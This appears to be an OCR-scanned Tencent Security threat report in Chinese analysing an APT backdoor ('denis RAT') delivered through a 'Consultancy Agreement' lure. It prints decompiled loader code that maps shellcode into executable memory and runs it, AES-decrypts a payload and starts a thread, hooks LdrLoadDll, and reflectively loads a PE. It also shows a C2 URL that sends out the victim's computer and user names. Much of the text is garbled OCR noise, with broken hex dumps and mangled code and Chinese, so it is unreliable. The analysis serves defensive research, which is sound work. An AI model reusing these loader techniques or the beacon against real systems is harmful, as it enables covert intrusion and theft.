Symantec Tim... -~A]H 2019ETHISEEH L. ..
R )
RE

nEfE, SNRIFENEERRIRRBEN Y
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apt.dil _
={C3) "ASDKLFIGHEDTIHAS! -
{9 101 - [ang: 1033] B B = o p =

) 102 - [lang: 1033]
String Tables Dffset TE R R R E L Ascii
+4) Configuration Files || 00000000 | B SF 11 63 FD D3 E9 D3 74 24 F4 5D 29 C3 B9 47 | ¢_Iiglentsa])E'G
' 00000010 | 8B 03 00 31 7D 16 83 CG 04 03 7D 4D F3 o9C 15 E9 | p0.1t114n1}HS) 1
Qo0o0o0z20 | FL 50 Ee F7 08 92 18 94 e5 98 07 E9 C9 4E 04 E1 BFe=1"11 IéENIi
Q0000030 | C9 BA EA CA DE DA 8D FA AC 98 94 04 72 CB CC 387 E2&E0T d-1nnzEIn
Qoooon40 | 82 A3 F9 2D 93 07 A6 ED 7B AE 03 34 28 94 17 &F 120—01%{@14 (110
00000050 | 2E 4C 32 E8 DF 29 AF OF B9 20 87 7E D1 BB D6 15 | .L2&R) 1% . 1~H.01
00000060 | 39 C6 47 BE 7D F4 50 08 EE OF 78 E9 2D ES 7F 3E | 9EGHIGPIEIx&—41>
00000070 | 81 10 9% B7 4B 05 EF DC 04 92 39 AE 50 OE 74 2E TRRTREITS
00000080 | 12 40 11 DA BD 64 6D DE Bl F8 &6 B2 E9 9E 41 65 | 101 .%jn0e! t&lke
00000090 | 44 EA 3E 3F CE C7 B8 98 35 BY 7E AE 8B B0 97 45 | Dé:?iC. 151~e@1°|E
000000AD | 68 4C 55 37 8B AB FO SE DC 00 B2 DE ED 31 4B 09 | hLU7l<a 0. 20%1K.
O000O0ED | B2 84 EA BF 37 ©3 73 FE 24 76 7F F6 62 FD 71 BC | 2 1&:7Asb$vicbyak

000000C0 | DD 0A F6 DB 7D F4 E7 98 10 64 FB8 55 FD 81 3F 00 | ¥.o@toglljely 7.
nnnnnnnn | ®2 A9 39 C4 77 BN 7F CF 87 27 FAR AT RO NA 10N 5 | Arafreictegsci o

if { hvodule )

FindResourceW(hModule, (LPCWSTR)@x66, L"asdklfjghedjihasio™);

2u, Bx38u, 8);

if ( _InterlockedDecrement(vl
{*(void (_ stdcall **)({volatile

CloseHandle (v18};

goto LABEL_27;

}

CloseHandle(vi@);

DWORD **Jvil + 4))(vil);

LABEL_23:
wescpy_s(&ps th, @x25Bu, &Dst
PathRemowve especW(&pszPath);
ShellExecutel(®, @, &Dst, @, &pszPath, 1};
goto LABEL_25;

REBMNERFEE shellcode F#11T:
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TLP. WHITE Tencent Security
if { hModule )
1
v1l4 = FindResourceW(hModule, (LPCWSTR}@x65, L"asdklfjghedjihasio”);
if [ v1d )
1
v16 = LoadResource(vi3, wvid};
if [ vie '}
1
v17 = LockResource{vlg);
if  vi7 )
1
vl8 = SizeofResource(vl3, v15);
if [ vag )
1
28 = (void (*)(void))VirtualAlloc(@, v1i8 + 1, Gx1000u, Ox40u);
if [ v2e )
memmove (v28, vi7, vig);
*((_BYTE *)v21 + v19) = -61;
21025
1
¥
¥
¥
i

ExitProcess(@);

{82, £ Shellcode F94-18 , WIRIGETEEAR:

HiEE Consultancy Agreement with SMW #147/589 shellcode ##2%5f5, Ei%9 denis

VK
884400800 BF SF1169FD mou edi, FD&9115F
80440005 DIED fldlz2t
A0440067 | D9F42h Fh fstenu (28-byte) ptr [esp-C]
884400068 D pop ebp
AaLLBRac 29C9 sub BeCX, BCX
80440088E B9 47BBA3 00 mou ecx, 38BuY
ge448613 317D 16 xor dword ptr [ebp+16], edi
804400156 83C5 B4 add ebp, 4
60440019 037D 12 add edi, dword ptr [ebp+12]
ge44861C|" E2 F5 loopd short 80440013
Function name Segment Start Length
f | sub_EOZEBE =agl00 OO0EQZEE oaaooaos
| | sub_E0ZCS =agl00 OO0EQZCS 0a00ZAT4
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Bil&EE

Tencent Security

Y,

ae25p2a2
88256282
A825B2C2
ae25p2Dp2
B825B2E2
B825B2F2
ae25p3ez
ae25B312
a825B322
a@25p33z2
Be25B342
a825B352
8e25R362
ae25B372
a025p382
a825p392
ae25B3A2
8625B3B2
8@25B3cz2
ae25e3p2
8025B3E2
8825B3F2
a825B482
BO25B412
BE25B422
a825B432
BO25B442
BE25B452
A825B462
BE25BL472
BE25B482
A025B492
aE25phA2
BE25B4B2
A825B4C2

6E
54
fa
R
35
66
36
fa
6F
&7
14
36
35
34
37
66
6E
an
6E
6E
78
[i])]
73
64
6F
4D
Bg
aa
aa
BE
69
i
[i])]
89
Ch4

80
00
80
80
00
80
80
00
80
80
00
80
80
00
88
00
88
88
00
8o
88
00
88
00
00
A
00
00
80
1F
73
20
6F
DE
c7

6F
57
=1 H
36
35
34
a7
Pl
6E
1
11
32
24
38
35
61
a8
64
65
67
6F
2E
68
65
6D
o8
an
aa
aa
BA
28
62
64
21
1M

an
an
aa
an
an
aa
an
an
aa
an
an
aa
an
an
an
an
aa
an
an
aa
an
aa
aa
an
aa
aa
an
aa
aa
BE
Pl
65
65
C3
on

7a
1
1
32
34
a8
k1
6C
in
L2
ia
34
il
31
a8
5
aa
65
7
¥2
i2
aa
61
73
a8
a3
an
aa
aa
aa
iz
28
2E
cD
Cé

aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
an
44
aa
an
aa
aa
BY
6F
iz
an
BF
BF

A
52
ia
24
66
a
a8
69
aa
Lt
ia
i8
a7
39
36
6C
44
66
73
69
P
63
6E
69
a5
aa
an
aa
aa
a9
67
Fi
an
4F
4F

aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
cD
i2
6E
an
o8
o8

aa
45
7@
a8
37
39
36
63
53
LG
58
36
66
38
64
iy
61
68
2E
6C
73
6C
a7
67
aa
ay
LA
aa
aa
21
61
28
24
cD
cD

aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
B8
il
69
aa
BF
BF

L3
5C
=1
36
ili]
38
64
61
4F
1
37
63
a8
35
5C
49
iy
aa
73
61
2E
69
77
6E
aa
aa
aa
aa
aa
a1
28
6E
aa
4F
LE

aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
ag
aa
aa
ag
aa
aa
aa
aa
aa
aa
aa
aa
aa
ue
63
28
aa
o8
o8

uF
41
37
63
38
35
5C
74
46
78
30
37
38
64
uy
63
61
32
68
65
63
70
65
2E
0o
FF
0o
0o
ES
CD
61
4y
0o
cD
5C

0o
0o
0o
0o
0o
0o
0o
0o
0o
0o
0o
0o
0o
0o
88
0o
0o
88
0o
0o
88
0o
0o
0o
A
FF
0o
0o
0o
21
6E
uF
0o
BF
BF

L
FiLs)
a8
a7
38
64
1
69
5y
Pl
31
a5
66
36
65
6F
a6
aa
61
8
6F
2E
69
63
a5
aa
aa
aa
aa
LYy
6E
53
aa
4F
4F

aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
aa
ag
aa
aa
ag
aa
aa
aa
aa
aa
aa
aa
aa
aa
68
6F
28
aa
o8
o8

]
'
L= B T o Tl =R - I
o '
o
[
'

'
S - EFTO ONMHUV®SGEMNMD DT

= T~ EASA D 0T AT -2
' '

'

'

' '

[ o TR Y O - = o = = — Y - T — R - - i B = R
' '

H S TS hV\lea" Do ~@™= M
' '

'
= - LR o o — S - - iy T — T P B o R — L — R - - — R |
'

'
'
= TRy B
oINS S®ET TS SN0 -D 0
' '

'
[— RN -}
'

'
W T O N ERMaD DO s E WSk E D
'

N D S s T Mo
'

'
T E Mo

2= 2 3
'

mm7_777L7Th
is program canno
t be run in DOS
mode....%.......
%ﬁ%ﬁi%ﬁ i
AENRBOE RS brim?

AR Consultancy Agreement - C023-P - YCF (20190801) HY shellcode f#%5/3,

AN EERE, F—

B9 Denis RAT A5

NEREFET TE ShellCode 1T, MR THEARLID, MWINEERS

aaLL 0082
apuhpoay
gLy poae
go4hB808C
B84hB08E
aa440613
0440016
aoL4hBaa19
aa4hBeoi1c

DBDS

B8 3IBFAGEA3
DO7L2L F4
B

31C9

B9 7F9d8388
3143 1D
8343 1D
83EB FC

E2 CD

fcmovnbe st,

mov eax,
fstenu

pop ebx
xor ecx,
mov ecx,
xor

add eax,
sub ebhx,
loopd

st(5)
A3GEFA3ZSB

(28-byte) ptr [esp-C]

ecx
J987F

dword ptr [ebx+1D], eax

duvord ptr [ebx+1D]
-4

short B0843FFEB

Bl IEMERTO
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TLP: WHITE

@ BRZe

Tencent Security

Function name

sub_1TC
=ub_E1790
sub_E1TAS

Segment
zez000
zez000
zez000

AT # ShellCode H4TAYREL 17C, URL H#EtaNT:

Start Length

Qo0o017c Qo011 402
QOOELTSD Q0000003
OOOELTAS QO00ZAT4

libjs.inquirerjs.com/script/pktth.com.png?A=%COMPUTERNAME%&B=%USERNA

ME%

HH44UTZ0| 0¥ bOF BUOUBY pusn ouBBoE

8448128 68 ZE086308 push 63882E

aeau4e138) 68 6ABB7308 push 73aaen

Be44e135| 68 65087208 push 728865

Beu4e13a| 68 69087208 push 728869

Beu4e13F| 68 71887508 push 7586871

aeau4e144| 68 69006E08 push GEBBGY

ae44e149 | 68 73082E08 push 2EB0873

Be44B14E| 68 62006008 push GABAGZ

ae44e153| 68 6CO06908 push 698860

Beay4e158| 68 80084188 push 410000

aau4e15D| 68 LFOOCEA8 push Ace8 a8k

88446162 BDOL42Y lea eax, dword ptr [esp]

aeu4e165| 68 DOOOOOOA push apa

ae44616A 5a push eax

ES OCosooon call 0o44017C

ae446178 8DAL4ZY DBOGBOA| 1lea esp, duord ptr [esp+D@]

ae44e177 |, E9 82140000 jmp BO44157E

ae44817C 55 push ebp

A0LLaiFn AR moll ehn__esn

O612FDES 4F 88 C8 90 A0 80 41 08 6C 60 69 B0 652 68 5A BB 0.7..A.1.1i.b.j.

GE12FDCE |73 88 2E A0 69 B8 6E 88 71 680 75 88 69 88 72 B0|s...i.n.q.u.i.r.
GE12FDD8 |65 B8 72 A0 6 B8 73 08 2E 60 63 88 6F 88 6D BB|e.r.j.s...c.0.M.
BE12FDES | @@ 88 42 00 BB 61 00 08 4C 60 2F 68 73 68 63 68| ..B.7..L./.5.C.

GE12FDFS |72 88 69 A0 70 88 74 00 2F 60 70 88 6B 88 74 60|r.i.p.t./.p.K.t.
BO12FEGS |74 00 68 00 2E B8 63 60 6F 60 6D 68 2E 68 78 68| t.h...c.0.m...p.
GE12FE18 | 6E 88 67 @8 3F 88 41 68 30 680 25 86 43 88 4F 60| n.g.7.A.=.%.C.0.
BO12FEZ28 | 4D 08 50 00 55 00 54 00 45 00 52 00 4E 60 41 88 M.P.U.T.E.R.N.A.
OO12FE38 | 4D 88 45 @8 25 @@ 26 08 42 60 3D 88 25 88 55 60| H.E.%.&.B.=.%.U.
OO12FE48 |53 88 45 A0 52 8@ 4E 68 41 60 4D 88 45 88 25 60| S.E.R.N.A.H.E.%.
HO12FESE | 00 00 49 00 47 00 45 00 54 00 OO 0O 48 60 60 88| ..I.G.E.T...H...
BE12FEGE | 4A 00 00 00 00 00 4D OO OO OO 80 OO OO 6O 60 60| J..... ... B.....

AEINERAERIAAT denis RAT:

Bl IEmERTO
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TLP: WHITE @ﬁlﬂ?‘g
00235557 | 6E 88 6F 88 78 B8 7n 80 60 08 53 68 4F 68 46 08|n.o.p.z...S.0.F.
80235562 |54 86 57 60 41 08 52 80 45 00 5C 60 41 60 70 08| T.W.A.R.E.\.A.p.
90235572 |78 86 5C 60 41 0O 70 60 70 00 58 60 37 60 30 08|p.\.A.p.p.X.7.0.
pB235587 (31 8@ 36 B0 32 6@ 34 08 38 68 36 08 63 08 37 08|1.6.2.4.8.6.c.7.
AB235597 |35 @A 35 @8 34 A 66 6@ 37 B8 66 08 38 08 38 08|5.5.4.F.7.F.8.0.
AB235507 |66 8@ 34 B8 38 @A 31 6@ 39 66 38 08 35 08 64 08| F.4.8.1.9.8.5.d.
AB2355E2 |36 8@ 37 B0 35 AA 38 08 36 B8 64 08 SC 08 41 08| 6.7.5.8.6.d.\.A.
602355C2 |78 86 70 60 6C 0O 69 60 63 00 61 68 74 60 69 08|p.p.l.i.c.a.t.i.
p0235502 |6F B0 GE B0 7A B0 60 0A 53 68 4F 08 46 00 54 08|o0.n.z...S.0.F.T.
6023556257 88 41 80 52 B8 45 80 5C 06 41 60 70 60 70 08|W.A_R.E.\.A.p.p.
602255F2 | 5C 88 41 88 70 88 708 08 58 08 37 08 38 08 31 60|\.A.p.p.X.7.0.1.
pO235607 |36 6@ 32 B0 34 B8 38 08 36 B8 63 08 37 08 35 00|6.2.4.8.6.c.7.5.
AB235612 |35 8 34 B0 66 BA 37 0 A6 B 38 08 30 08 66 OB|5.4.F.7.F.8.0.F.
pO235627 |34 8@ 38 B0 31 6@ 39 0@ 38 60 35 08 64 OO 36 00| 4.8.1.9.8.5.d.6.
A0235637 |37 8@ 35 B0 38 B8 36 08 64 B8 SC 08 44 08 65 06|7.5.8.6.d.\.D.e.
A0235647 |66 8@ 61 B8 75 AA AC BA 74 B8 49 08 63 08 6F 08| F.a.u.l.t.I.c.o.
pB235657 |6E B 98 B0 AP B 44 B8 61 BB 74 OB 61 B8 06 68| n.M...D.a.t.a.N.
AO235667 | 00 B 64 B 65 BA 66 BA 3C BB AP 08 1C 68 06 68| ..d.e.f.<...H...
90235672 |33 80 36 00 30 0O 73 00 6B 00 79 60 6C 60 61 08(3.6.0.5.k.y.1.a.
p0235682 |72 00 2E B0 68 60 6F 0@ 73 60 74 08 18 08 00 00|r...h.o.s.t.N...
AA235692 |77 8@ 65 B 63 BA 68 6@ 41 B8 74 08 73 08 2E 08|w.e.c.h.a.t.s...
60235612 61 88 73 B8 69 88 61 08 08 44 05 08 08 08 00 00|a.s.i.a.WDY.....
PO2356E7 | 00 44 95 @O 4D SA 90 6@ 03 68 00 08 4 08 06 68| .DY.HM2? ... |...
98235602 |FF FF 08 08 BS 80 00 00 08 08 08 80 40 00 08 08 jij..?...... @...
pO235607 | 00 B0 A0 B O AA 6O 0A A0 OO A0 OB OO B8 00 08| ... c.onno.o...
AB2356E7 |00 B0 B0 B0 PO AA OO 0A A0 66 A0 08 OO 08 06 08| .. ... o...oo....
AB2356F2 |E8 @@ 80 88 BE 1F BA OE 88 B4 89 cCD 21 B8 @1 4C|?..NE7.777L
60235702 |CD 21 54 68 69 73 28 70 72 6F 67 72 61 6D 20 63|?This program c
pB235712 |61 6E 6E 6F 74 28 62 65 20 72 75 6E 28 69 6E 28| annot be run in
AR P RdE | BB B 0% MW FOL FE FE. FU A QAR AR A Fl. SRR B3 B e o o ~

5. inetmib1.dll (1eaOb813d7f42cfc9c16ad62bcc934e?)

52 /89 goopdate.dll —#, {#F hook LdrLoadDIl EEHIA Bk EEHRITERAES:

I
o =-

L)
233;
a;

15 = GetModuleHandleA{"ntd11l.d11"};

a;

16847518 = (int)vis;
i

_5 28 = *({ BYTE *WI18B + v17):

tProcAddress({vl5, "LdrlLoadDll™);

Bl IEMERTO
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@ BiRze
Tencent Security

TLP: WHITE

SEFRERE 6F 4A 53 41 A1 74 7B 1F 25 B4 05 1D DD 62 AO CF, {#F SHA256+AES

gz gE—= shellcode:

34 if (ve )
35
36 if ( CryptAcquireContextA (&v25, @, @, PROV_RSA AES, @xFoapeana) )
a4
33 7 = _ _readeflags();
39 _ writeeflags(v7);
48 vd = _ readeflags(};
41 _ writeeflags(va);
az if { CryptCreateHash_{v25, CALG_SHA 256, @, @, &vig) )
43
. if { CryptHashData_{v2z6, a4, strlen(a4}, @, al) && CryptDeriveKey_(v25, @x6618, v26, @, &/21) )
45
45 v8 = _ readeflags();
47 _ writeeflags(va);
48 w22 = (unsigned int)}*a3 »>> 4;
49 13 = 16 * v22;
58 vl@ = _ readeflags();
51 wrlteeflags( 18};
52 vy = calloc_(16 * v22 + 1, 1);
53 27 = v5;
54 if (vd )
36 a;
57 163
58 a;
59 @;
58 16;
61 @;
&2 223
63
B4 = @;
65 = y2
66 =
68
69 28 )
1 vl4 =  readeflags();
72 w24 = 1;
73 wr‘lteeflags( 14});
24 ” o t,:_;
75 i ( *a3 < v19 )
76 {
74 1 g
8@ 1
81 memcpy_( 5 + vid, wvi2);
82 16 = r‘Eal:IeFlags(:)J
83 _ writeeflags(v1G};
34 if ( !CryptDecrypt (v21, @, v24, @, v6, &w29) )
85 break;
86 V28 4= v29;

R e EE call #1417 shellcode:

1UUMIOEG|] - YD poptd
188016E7 (| . 57 push edi

180016E8(| . FF15 CC748411 gall dword ptr [188474CC] msucrt.memcpy
188016EE || . 83Ch4 6C add esp, HC

180016F 1 | RS call edi

188016F3(| . 9C pushfd

1@8016FL || . S83EC B84 sub esp, &4
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@ BiRze
Tencent Security

TLP: WHITE

shellcode MITHEERARE payload, FEI#EF SHA256+AES A THTHFE, ZiAERT

BExE

THENZEENA: FIEEDZH N CAOPC HEERE, F¥EoEAAZIRTENE,

FRLHEIZASSIHENSE, Reemxit&ENiET.

i ( Crypt tA(&v147, @, @, 24, @xFOGROEER) )

147, @x800C, @, 8, &/146) )

146, (int)vies, strlen(vies), @) && CryptDeriveKey(vi47, v187, vl46, @, &v1Se) )

}(v72 + @x63);

99 * yOl, @x3000, 6x48);

95 = @=

wﬁile [

; = *(_DWORD *)(al + 6x63);

memcpy_(vi24, al + 183 + v35 + *(_DWORD *)(al + 91), v93);
if ( !Cryp pt_(v15e, @, vi28, @, vi24, Rvile) )
break;

i;:( +Hud4 »= vIl )

break;
}..

if { v127 || !CryptAcquireContextA(&v149, @, @, 24, oxFeeee000) )

sh(v14s, @x8eec, @, @, &v145) )

yata{vi4s, w32, *(_DWORD *)(al + 95), @) )

i% E CryptGetHashParam(v145, 2, &229, &125, @) )
if ( memcmp(&v229, al + 58, 32) )

~tualFree(vo2, v117, O0x3000);

CreateThread(@, @, v92, @, @, 8);

SNEF AR FRIRYEA: CAOPC + &S
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§7ﬁm§g

TLP: WHITE thsaSatry
BOCZOBYC | J5 0|5 OOC20BYC

6612FCDE| BB14CBFB

BB12FCDC| OB3B3CFO ASCIT “CADPCadnémisbshilads'

BB12FCES| 0BABABTY

6812FCES| 0BOBOBOD

BB12FCES| BBC20808

BB12FCEC| 0BO34DOY

REEIASXT payload #7186, payload B9 sha256 (&, BIZRERS. payload KINEEF

BERTFAE payload Bl AN TERR:

SegBen : B align 2
= CH 5 alsername db "username’
s : I db a
s B F aComputername db 'computername’,@
= : db 25h ; %
s o aB2xB2x02x02x02 db 'e2X:Xe2N:Xa2X Xe2X Xe2K:Xe2x',e
E 2 : @ A dw 3@e8h
ze : BaE db 31k 3 1
se - & db 38h ; @
e 5 B db 38h ; ©
se : & db a
B 30008 db @Alh,1,86Ch,@E3h, 2Ch, 67h, "1 ,BE2h,4B6h, 866N, 9Bh, "F.( ', @66h,7, 'Z2F ', 18R
SegBRn : BB db @FCh,@EBh,"| ",9,'1;",10h,10h, "0 ,@A2h,": "
s ; 2 db -] )\
seg 1 8008 db 6 S
s2g860: 3000 db 8 Paj
Seghed: BOEE3 db a
Seg@ea: BBEE4S db ]
seglBe : 0aas db 9
seghpe : PABBEEER db. 3Eh ;
seg8e0 : B0AG0E do 3 payload size
Seg@en ; GBABBE db @ ( o
SEE@GB:MEEB dd 33E16h
[seg@ee : BRBBBEED aCaopc db "CROPC',@ B g ey
Seghed; 3 db 2
Segaea: db 48h ; I
seghea: db 2Fh 3 /
Segana db 2ash
Seghea: db 65h ; e
525000 db 36h ; B pavload
EEEGECE db 8C3h Gl
segBea: db  4Fh ; ©
eoRfb : db 3Ch ;

BIEEHTEAENIT payload, payload AETF nop IESQEIR—MNEBBNNHINEERT PE X

15:
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BiR=E=

TLP. WHITE Tencent Security
i&ﬁ ss:[@812FDCA]=7CE106CY {(Kernel32.CreateThread)
HHCEAEGE6| 98 90 98 90/ 90 96 90 98 98 4D S5A EE 60 88 @0 08| [T (F|F=E7...
6OCBOO10 SB 89 DF 52 45 55 89 ES5 81 C3 7a 8A 80 00 FF D3 [FREUL {ii2?.iF
OGOCEAAZ20| 68 FA B5 A2 56 68 A4 AA AA AA 57 FF DA 8@ AA @@ h%, h ... Wij?. .
GOCEAA30| @0 A0 AP AA AP AQ B0 GO @A AA AA 6@ AA 08 BA BB . ... ... .........
OOCEOO4L0| @0 G G0 G0 G0 FO 60 60 68 CE BF 88 A8 97 B4 52| . ... 2. .Ein
AECEAASG|CF 1D 74 46 43 3D 11 8D OB 88 D? BA 2A 59 8D 5C| 7tFC=M7iH7YilE
AOCEOAGA| B2 D4 4 95 A1 18 2D 15 @8 6A AB 2C 60 89 47 62| 5 J70-BHj7 7 1Z0
OOCBOG70 9F B6 CF 56 53 3A C6 D1 B4 76 AD 1E CA 75 48 56 JESSS:THETTLHU
AACBEOEBA|F4 91 CC 7D 49 A2 F2 D6 31 6E B85 6F 9D 12 18 FA|EREEI ][ ?n07N
OOCBOO98 AS E9 D7 8A 18 48 3F D3 CO 51 3E 88 15 38 F4 68 > oEH?7R0>76[H
OOCEOOAG E4 1B 72 AB 45 97 80 88 26 25 74 85 FB EE DA BC | ?7r353% &t
GOCEOOER| 75 CS C8 8E B7 85 DA E@ AF F7 F7 86 AD 71 A8 OF | uj 0fnEq?
OOCBOBCH 8C 65 1C 73 58 CE A6 D1 AF 28 BO DE 10 DB 53 6F | EEsiiEin e
OOCBOBDE F7 3F E4 2D OF 21 D6 C7 63 C9 B8 6B 46 52 D7 E5|w??NtE ciifkFR
OOCBOOED 34 84% CC BC 4E 6A 3C 25 9B BO B8 F1 97 DB 6F 0D MEiisj<uimEAkE.
OOCEAOFO| 31 BA FZ B3 6A E3 3F C? DE 58 45 08 88 4C 81 64 1H§E¢?J@%PE..L_{
OOCBO160) 68 74 89 EC 51 86 00 80 00 CE FF FF FF E@ 80 03| _tHEg.____7ijij?
AECEA116(31 @8 61 A9 B8P 60 54 02 PO @0 C4 61 60 69 @0 08 1EL,..T—.7....
norpoA2R a0 "8 FNO RO A0 GO0 40 OO OO0 OO 70 A9 GO0 OO OO0 OO0 FH | | n—

HATIEM PE SLEkEER 8A7A+4b4T:

S22600:00000000 90 nop .

seghid: peRaREEL 98 nop

segbla: aeEaRe02 08 nop

segbes; BoBaREaS 90 nop

seghed: bonoaeads o8 nop

seghed : peaaeeas 94 nop

seglld: pepaREBE 08 nop

segben: pepaRee7 28 nop

SEgoen: poeapens 98 nop

segfen: eeeaeed 4D dec ebp

seghee : 0PBBRBA SA pop edx

seghld: BE0E0E0E EB 00 86 08 B0 call +5

scgfae:aeeenele 5B pop ebx

segBen: eeessell 89 DF mov edi, ebx

scghen: 6epenel3 52 push edx

seghoe : 00060814 45 inc ebp

seghaa: eeeenals 55 push ebp

Segeee :peeeeels 89 ES mov ebp, esp

seghos:bepaBels 81 (3 7A BA 08 B8 Z\ add ebx, 84 )

segheo : 0PPBRELE FF D3 call ebx

seglBn: pBReRa2e

sScg0ee : aeeaaa2e loc_28:

SEgees: peeene2e

seghee : peaena2e 68 F@ BS A2 56 push 56A2B5F8h

seghad: BEEARA2S 68 A4 86 @6 a8 push 4

seghae: 0eR00E2A 57 push edi

seghea : @eeaae2s FF D@ call eax

BATA+RMAAT—EREINNEL shellcode, HINAERERTFRREF PE XHFHHAT:
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@ BRZe

TLP: WHITE Tencent Security
586 w27 = @;
51 w23 = @;
52 for ( 1 = {_BYTE *)&loc BASA; ; --1 )
53 {
54 if { *( WORD *)i == '"ZM’ )
55 {
56 va4 = *((_DWORD *}i + 15);
57 if ( vad >= @x40 88 v44 < Ox400 &R *( DWORD *)&i[v44] == "EP" )
58 break;
59 }
68 }
61 w24 = *({ DWORD *)(_ readfsdword{@x36u) + 12);
62 for [ j = *{int **}{v24 + 2@)}; j; j = {int *}*j )
63 {
B4 18 = (unsigned __ints8 *}j[10];
65 16 = *((_WORD *}j + 18);
bE k = 8;
67 do
63 7
69 k = {char *} ROR4A (k, 13};
78 if ( (signed int)*v18 ¢ 97 }
71 k += *v18:
72 else
73 k = &k[*v18 - 32];
74 +Hv1E;
75 --v16;

TEF7/ PEloader 8XINEENTD, ETERAFHIBIIRKERIEN:
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fBinze

TLP: WHITE Tencent Security
123 w45 = (int)&i[*((_DWORD *)}i + 15)]; // NT header
138 if ( *(_WORD *)(v45 + Ox16) & BxE000 )
131 va3 = Bd;
132
133 vd3 = 43
134 membase_vi5 = @;
135 if ( *(_WORD *)(v45 + exl16) & @x4000 && !'GetModuleHandleA(i + 9x48) )
136 {
137 vE = Loadlibrar JL.Z>'(" + 64, 8, 1};
138 for ( k = {_BYT )Sloc 1; vb I= —1 8% (unsigned int)k < @x18 && Imembase v25; +k }
139 7 4 5
148
141
142 membase w25 -= membase v25 % @x1000;
143 rt o t(membase w25, *(_DWORD *)}(v45 + @x58}, w43, &vi46);
144 =)f|=-1|_.“a; w25, 8, *( DWORD *)(v45 + @x58));
145 /25, *(_DWORD *}(v45 + @x50), v43, Rvaa);
146
147
148
149
158 1 -:('8 *(_DWORD *)(v45 + @x50), @x3008, v43);// SizeOfImage
151 5, 8, *( DWORD *)(v45 + @x50));
152
153 wle = (void ")(r:‘-n'hase_-.—- 5+ “( DWORD *)(v45 + 6x50) - Ox4e);
154 Numberofsymbols = *(_B‘rT’ Y (w45 + Ox18);
155 SizeOfHeaders *(_DWORD *){v45 + ©x54});
156 k = (char
157 if { Number
158 {
159 membase_w25 -= *(_DWORD *)(w45 + @x38) // SectionAlignment
160}
161 else
162 |
163 gmemepy (k, i, 5i
164 if [ *{_WORD *}{: // Characteristics
165 7
166 *(_DWORD *)(*{(_DWORD *)k + 15) + membase_v25) = 8;
167 *(_WORD *)k = @3
168 *((_DWORD *}k + 15) = @;
169 }
178}
171 Section_Headers = (_DWORD *)(v45 + *{unsigned _ intl6 *)(v45 + @x14) + Ox18);
172 NumberOfSections_v34 = *(unsigned _ intlé *)({v45 + 6);
173| while [ 1 )
174 {
175 \ rofsections_w34--;
176
177
178 *}{(Section_Headers[3] + membase_w25};
179 ion '-—'-c-lt!c—'s[S]]J
188 on_Headers[4];
® 131 » Kk, w38);
D 182 n_Headers[9] & 6x20600800 )
183
184 w27 = (unsigned int}wvl9;
185 v23 = v38;
186 3
187 Section_Headers += 18;
188 }

TEFTRARSANTRNSANRH, B5
SANKMEEEHT

NumberOfSymbols =ZE&:

TERIE, SARRINETY, HENHTRES

RIS, BEIIUN XOR key,

Foxd

Hrhpg key fFH1E PE 3KLRHY
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Y,

Import Directory RVA

TLP: WHITE

*)(*(_DWORD *)(v45 + @x88) + membase_v2

T

5); *((_DWORD *)k

: v25), @xdeu);

+3); k += 20 })}//

.,d

(const

(..:
el e
*) (*((_DwoRD

39 < 0 )
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v8 + €@) + v8 + 120) + v3 + 28)
+ v
+4 % ((*y39 & OxFFFF) — *(_DWORD *){*(_DWORD *)(*(_DWORD *)(vE + 6@) + vB + 120) + v& + 16)))
@, @x4du);
.2* - *(_DWORD *)(v45 + @x34); // ImageBase
*)(v4s + BxAd4) ) // Relocation Directory Size
= (char *}(*{_DWORD *){v45 + 16@) + membase v25}; *((_DWORD *)}k + 1); k += *((_DWORD *}k + 1) )
*( DWORD *)k + membase v25;
(unsigned int)(*(( _DWORD *}k + 1) - B) >> 1;
n=Fk+ 8 ; +n )
switch ( (unsigned _ int8)(*n »> B) >> 4 )
case 1@:
*(_DWORD *)(v32 + (*n & @xFFF)) += va;
break;
case 3:
#(_DWORD *)(v32 + (*n & @XFFF)) += v;
break;
case 1:
#(_WORD *)(v32 + (*n & @xFFF)) += HIWORD(v2);
break;
case 2:
*(_WORD *)(v3Z + (*n & BXFFF)) += v9;
break;

[EHAT PE SUENCES  EFEERIR N OIS E] PE LAY LoaderFlags

=FEl .
FRH:
248
249 va3 == 4 )
258 s V23, 32, Bv46);
251 : Bx16) & @x1080 )
252 \ dcall *)(unsigned int, signed int, int)){*(_DWORD *)(v45 + 8x78) + membase_v25);// LoaderFlags
253 else
254 _ stdcall *)(unsigned int, signed int, int))(*( DWORD *)(v45 + @x28) + membase v25);// AddressOfEntryPoint
255 w33(me 1, al);
256 return
2573
MName Address Ordinal
_execute 004458631 1
z#| D11EntryFPoint 004555F0 [main entry]

dll #1147

fEeEZHEERER, BEEER 4096 F

R XOR 0x69:
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1void *  usercall sub 449589@<eax:>(int alfi<eax>)
24

signed int wl;
int v2; /S ecx
__intle v3; //
int vd; f/ e
int vs; Jf/ e

int ve:; // edi
size t v7; /

o e

char vis; ff

(S R s O S Y I I ST I o o T o I W [ S Y

dword 488938

while ( 1 }
1

LR T BV W VI L O T I o IO T T S S N e o T e
[a B R - S IV N Sy~ VT o R, Y S WY I R S )

gsi

dword_ 488984 =

ff eax

bx

const void *w8; /S eax
u_long v9; // eax
__intle v18; [/ ax
int vil; // ecx
intls vi2; f/ di
int vi4; // [esptCh] [ebp-14h]

flezpnti@hl Tebn-18h1
L 3,.,._l_,|'l_. Lepp-Lyh |

al;
(int)malloc(@x2e6u);

memset((void *)dword 4838988, 8, @x288u);

vi = 83

do
byte 472028[v1] "= Bx69uj
+rls

while { vl < 4896 };

sub_446BB6(&v15, (int)byte 472028, 4896);

viZ = sub 446B2E{v2);
if ((v12 <=9 )

(unsigned _ intl6)sub 446B2E(v4);

break;
/3 = sub_ 448B2E(v1l1);
y2 =
V5= 8 * vid;

REENREERUT: 88 C2. EEAN. Hitp (hESLEHER:
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gaus2e28
gassz2e3a
gaus2aue
gassz2esa
ga4s2e68@
gausz2a7a
gaus2p88
gassz2@e98
